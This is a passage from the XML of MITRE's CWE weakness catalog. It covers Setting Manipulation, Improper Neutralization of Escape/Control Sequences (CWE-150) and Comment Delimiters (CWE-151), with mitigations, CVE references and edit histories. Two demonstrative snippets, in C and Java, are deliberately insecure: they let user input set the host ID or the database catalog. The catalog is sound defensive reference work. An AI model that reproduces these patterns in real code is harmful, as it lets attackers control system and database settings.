         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>...<xhtml:br/>sethostid(argv[1]);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Although a process must be privileged to successfully invoke sethostid(), unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following Java code snippet reads a string from an HttpServletRequest and sets it as the active catalog for a database Connection.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>conn.setCatalog(request.getParameter("catalog"));<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Setting Manipulation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP25</Entry_ID>
               <Entry_Name>Tainted input to variable</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="13"/>
            <Related_Attack_Pattern CAPEC_ID="146"/>
            <Related_Attack_Pattern CAPEC_ID="176"/>
            <Related_Attack_Pattern CAPEC_ID="203"/>
            <Related_Attack_Pattern CAPEC_ID="270"/>
            <Related_Attack_Pattern CAPEC_ID="271"/>
            <Related_Attack_Pattern CAPEC_ID="579"/>
            <Related_Attack_Pattern CAPEC_ID="69"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
            <Related_Attack_Pattern CAPEC_ID="77"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Setting Manipulation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="150" Name="Improper Neutralization of Escape, Meta, or Control Sequences" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0542</Reference>
               <Description>The mail program processes special "~" escape sequence even when not in interactive mode.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0542</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0703</Reference>
               <Description>Setuid program does not filter escape sequences before calling mail program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0703</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0986</Reference>
               <Description>Mail function does not filter control characters from arguments, allowing mail message content to be modified.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0986</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0020</Reference>
               <Description>Multi-channel issue. Terminal escape sequences not filtered from log files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0020</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0083</Reference>
               <Description>Multi-channel issue. Terminal escape sequences not filtered from log files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0083</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0021</Reference>
               <Description>Terminal escape sequences not filtered by terminals when displaying files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0021</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0022</Reference>
               <Description>Terminal escape sequences not filtered by terminals when displaying files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0022</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0023</Reference>
               <Description>Terminal escape sequences not filtered by terminals when displaying files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0023</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0063</Reference>
               <Description>Terminal escape sequences not filtered by terminals when displaying files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0063</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0476</Reference>
               <Description>Terminal escape sequences not filtered by terminals when displaying files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0476</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1556</Reference>
               <Description>MFV. (multi-channel). Injection of control characters into log files that allow information hiding when using raw Unix programs to read the files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1556</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Escape, Meta, or Control Character / Sequence</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS03-J</Entry_ID>
               <Entry_Name>Do not log unsanitized user input</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="134"/>
            <Related_Attack_Pattern CAPEC_ID="41"/>
            <Related_Attack_Pattern CAPEC_ID="81"/>
            <Related_Attack_Pattern CAPEC_ID="93"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Escape, Meta, or Control Character / Sequence</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Escape, Meta, or Control Character / Sequence</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Escape, Meta, or Control Sequences</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="151" Name="Improper Neutralization of Comment Delimiters" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that comments will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0001</Reference>
               <Description>Mail client command execution due to improperly terminated comment in address list.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0001</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0162</Reference>
               <Description>MIE. RFC822 comment fields may be processed as other fields by clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0162</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1686</Reference>
               <Description>Well-placed comment bypasses security warning.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1686</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1909</Reference>
               <Description>Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow "&gt;!--" while denying most other tags.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1909</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1969</Reference>
               <Description>Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow "&lt;!--" while denying most other tags.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1969</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Comment Element</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
